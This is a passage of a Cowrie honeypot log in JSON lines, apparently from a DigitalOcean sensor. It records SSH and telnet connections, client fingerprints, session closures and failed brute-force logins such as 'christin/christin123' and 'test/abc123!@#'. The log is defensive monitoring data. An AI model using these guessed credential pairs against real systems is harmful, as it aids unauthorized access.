88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.861010Z","src_ip":"159.203.92.129","session":"40d152798785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"all","password":"all","message":"login attempt [all/all] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.874301Z","src_ip":"159.203.92.129","session":"40d152798785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.821043729782104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:43.981356Z","src_ip":"80.252.221.197","session":"07cb35e5a6b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.1400101184845,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:44.441743Z","src_ip":"80.252.221.197","session":"ff0d7bd96c05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90253210067749,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:44.503067Z","src_ip":"80.252.221.197","session":"cddc11ac24bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b501d5f3d748","protocol":"telnet","message":"New connection: 159.203.13.64:41914 (10.17.0.5:23) [session: b501d5f3d748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:44.624483Z"}
{"eventid":"cowrie.session.closed","duration":46.032575607299805,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:44.807313Z","src_ip":"159.203.13.64","session":"bb5040c3fced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:44.879930Z","src_ip":"159.203.92.129","session":"40d152798785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.666552782058716,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:45.440938Z","src_ip":"80.252.221.197","session":"5a7bde04d607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.328712463378906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:45.447500Z","src_ip":"80.252.221.197","session":"a4d0f2f48bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd047c8855ad","protocol":"telnet","message":"New connection: 159.203.13.64:41930 (10.17.0.5:23) [session: dd047c8855ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:46.638542Z"}
{"eventid":"cowrie.session.closed","duration":33.49260091781616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:47.689323Z","src_ip":"80.252.221.197","session":"ccba948a4be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45202,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e4f09d4a5f","protocol":"telnet","message":"New connection: 80.252.221.197:45202 (159.203.135.109:23) [session: f9e4f09d4a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:48.144510Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45208,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2182d3cf9c","protocol":"telnet","message":"New connection: 80.252.221.197:45208 (159.203.135.109:23) [session: 9f2182d3cf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:48.341938Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41946,"dst_ip":"10.17.0.5","dst_port":23,"session":"537820fc38aa","protocol":"telnet","message":"New connection: 159.203.13.64:41946 (10.17.0.5:23) [session: 537820fc38aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:48.716901Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45214,"dst_ip":"159.203.135.109","dst_port":23,"session":"28f9c1f16e6c","protocol":"telnet","message":"New connection: 80.252.221.197:45214 (159.203.135.109:23) [session: 28f9c1f16e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:48.787098Z"}
{"eventid":"cowrie.session.closed","duration":41.01659154891968,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:49.563034Z","src_ip":"159.203.13.64","session":"78728ea6cae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ce2bcff630","protocol":"telnet","message":"New connection: 159.203.13.64:41952 (10.17.0.5:23) [session: 04ce2bcff630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:49.573564Z"}
{"eventid":"cowrie.session.closed","duration":41.01920032501221,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:49.961957Z","src_ip":"159.203.13.64","session":"ca569b3f359b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b71aa0a562","protocol":"ssh","message":"New connection: 186.13.24.118:49454 (159.203.135.109:22) [session: 09b71aa0a562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:50.510393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:50.514151Z","src_ip":"186.13.24.118","session":"09b71aa0a562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:50.674149Z","src_ip":"186.13.24.118","session":"09b71aa0a562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48200,"dst_ip":"10.17.0.5","dst_port":23,"session":"5faa5a3dd680","protocol":"telnet","message":"New connection: 159.203.13.64:48200 (10.17.0.5:23) [session: 5faa5a3dd680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:50.741250Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123!@#","message":"login attempt [test/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:51.343022Z","src_ip":"186.13.24.118","session":"09b71aa0a562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:52.503835Z","src_ip":"186.13.24.118","session":"09b71aa0a562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.684929609298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:53.407056Z","src_ip":"80.252.221.197","session":"f66a089ba25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48214,"dst_ip":"10.17.0.5","dst_port":23,"session":"964f4ea6a2b5","protocol":"telnet","message":"New connection: 159.203.13.64:48214 (10.17.0.5:23) [session: 964f4ea6a2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:53.734716Z"}
{"eventid":"cowrie.session.closed","duration":43.88385725021362,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:53.877111Z","src_ip":"159.203.13.64","session":"221c368bbe01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48220,"dst_ip":"10.17.0.5","dst_port":23,"session":"a908037e7ecc","protocol":"telnet","message":"New connection: 159.203.13.64:48220 (10.17.0.5:23) [session: a908037e7ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:53.946772Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":45450,"dst_ip":"10.17.0.5","dst_port":22,"session":"f147541ec97f","protocol":"ssh","message":"New connection: 80.94.92.168:45450 (10.17.0.5:22) [session: f147541ec97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:54.655745Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:54.770463Z","src_ip":"80.94.92.168","session":"f147541ec97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.34212589263916,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:55.408545Z","src_ip":"159.203.13.64","session":"38bfbba19b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.63585948944092,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:56.000639Z","src_ip":"159.203.13.64","session":"00c9cf84b982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63818407058716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:56.753863Z","src_ip":"80.252.221.197","session":"d232ebb21d7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1463bf5c9e0","protocol":"telnet","message":"New connection: 159.203.13.64:48236 (10.17.0.5:23) [session: f1463bf5c9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:58.223532Z"}
{"eventid":"cowrie.session.closed","duration":41.55046558380127,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:59.120876Z","src_ip":"159.203.13.64","session":"2321e86b82df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48250,"dst_ip":"10.17.0.5","dst_port":23,"session":"31388be634f6","protocol":"telnet","message":"New connection: 159.203.13.64:48250 (10.17.0.5:23) [session: 31388be634f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:48:59.986619Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48256,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3ac7166b6c","protocol":"telnet","message":"New connection: 159.203.13.64:48256 (10.17.0.5:23) [session: df3ac7166b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:00.371321Z"}
{"eventid":"cowrie.session.closed","duration":36.744224309921265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:01.208999Z","src_ip":"159.203.13.64","session":"bb72814c2934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":40598,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e25bead078","protocol":"telnet","message":"New connection: 80.252.221.197:40598 (159.203.135.109:23) [session: 51e25bead078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:02.427591Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":40600,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e83490bd2d","protocol":"telnet","message":"New connection: 80.252.221.197:40600 (159.203.135.109:23) [session: d1e83490bd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:02.532897Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":40616,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f099f6fa31f","protocol":"telnet","message":"New connection: 80.252.221.197:40616 (159.203.135.109:23) [session: 8f099f6fa31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:02.763755Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55644,"dst_ip":"10.17.0.5","dst_port":23,"session":"657647f8ef9d","protocol":"telnet","message":"New connection: 159.203.13.64:55644 (10.17.0.5:23) [session: 657647f8ef9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:03.107185Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55658,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f821599e2a","protocol":"telnet","message":"New connection: 159.203.13.64:55658 (10.17.0.5:23) [session: 06f821599e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:03.636708Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8d9192a42a","protocol":"telnet","message":"New connection: 159.203.13.64:55670 (10.17.0.5:23) [session: 1b8d9192a42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:04.094773Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b9e481acd7","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 00b9e481acd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:04.162358Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:04.255312Z","src_ip":"64.89.160.135","session":"00b9e481acd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55676,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b9b0cc9756e","protocol":"telnet","message":"New connection: 159.203.13.64:55676 (10.17.0.5:23) [session: 0b9b0cc9756e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:04.327231Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55682,"dst_ip":"10.17.0.5","dst_port":23,"session":"2457801b837d","protocol":"telnet","message":"New connection: 159.203.13.64:55682 (10.17.0.5:23) [session: 2457801b837d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:05.018507Z"}
{"eventid":"cowrie.session.closed","duration":41.18773937225342,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:08.032071Z","src_ip":"159.203.13.64","session":"c76efaeb9cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":36920,"dst_ip":"159.203.135.109","dst_port":23,"session":"fecad1a17870","protocol":"telnet","message":"New connection: 80.252.221.197:36920 (159.203.135.109:23) [session: fecad1a17870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:08.371419Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55696,"dst_ip":"10.17.0.5","dst_port":23,"session":"aabf516ac440","protocol":"telnet","message":"New connection: 159.203.13.64:55696 (10.17.0.5:23) [session: aabf516ac440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:09.432515Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55700,"dst_ip":"10.17.0.5","dst_port":23,"session":"f28ee9b69a7f","protocol":"telnet","message":"New connection: 159.203.13.64:55700 (10.17.0.5:23) [session: f28ee9b69a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:10.633827Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55524,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc15adafb992","protocol":"telnet","message":"New connection: 159.203.13.64:55524 (10.17.0.5:23) [session: dc15adafb992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:10.954159Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55530,"dst_ip":"10.17.0.5","dst_port":23,"session":"490d38fbfdc9","protocol":"telnet","message":"New connection: 159.203.13.64:55530 (10.17.0.5:23) [session: 490d38fbfdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:13.035275Z"}
{"eventid":"cowrie.session.closed","duration":36.740490674972534,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:14.301942Z","src_ip":"159.203.13.64","session":"74037e9a1a51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.47216796875,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:17.808945Z","src_ip":"159.203.13.64","session":"c302dd323d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5527286529541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:18.191149Z","src_ip":"159.203.13.64","session":"dd047c8855ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":51329,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b7c233e0c0","protocol":"ssh","message":"New connection: 213.209.159.159:51329 (10.17.0.5:22) [session: 24b7c233e0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:20.369910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:20.413944Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:20.492046Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin","message":"login attempt [christin/christin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:20.850320Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":56124,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c291a8ae74","protocol":"telnet","message":"New connection: 80.252.221.197:56124 (159.203.135.109:23) [session: 48c291a8ae74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:21.672324Z"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin1","message":"login attempt [christin/christin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:21.933863Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91072750091553,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:22.055145Z","src_ip":"80.252.221.197","session":"f9e4f09d4a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57360,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b2dc5b8ab2","protocol":"telnet","message":"New connection: 159.203.13.64:57360 (10.17.0.5:23) [session: 53b2dc5b8ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:22.853819Z"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin123","message":"login attempt [christin/christin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:23.017122Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57372,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc913fb9d40a","protocol":"telnet","message":"New connection: 159.203.13.64:57372 (10.17.0.5:23) [session: bc913fb9d40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:23.309180Z"}
{"eventid":"cowrie.session.closed","duration":34.98713159561157,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:23.328942Z","src_ip":"80.252.221.197","session":"9f2182d3cf9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin1234","message":"login attempt [christin/christin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:24.099644Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.613813638687134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:24.400799Z","src_ip":"80.252.221.197","session":"28f9c1f16e6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin12345","message":"login attempt [christin/christin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:25.182739Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.22821664810181,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:25.852616Z","src_ip":"159.203.13.64","session":"b501d5f3d748","protocol":"telnet"}
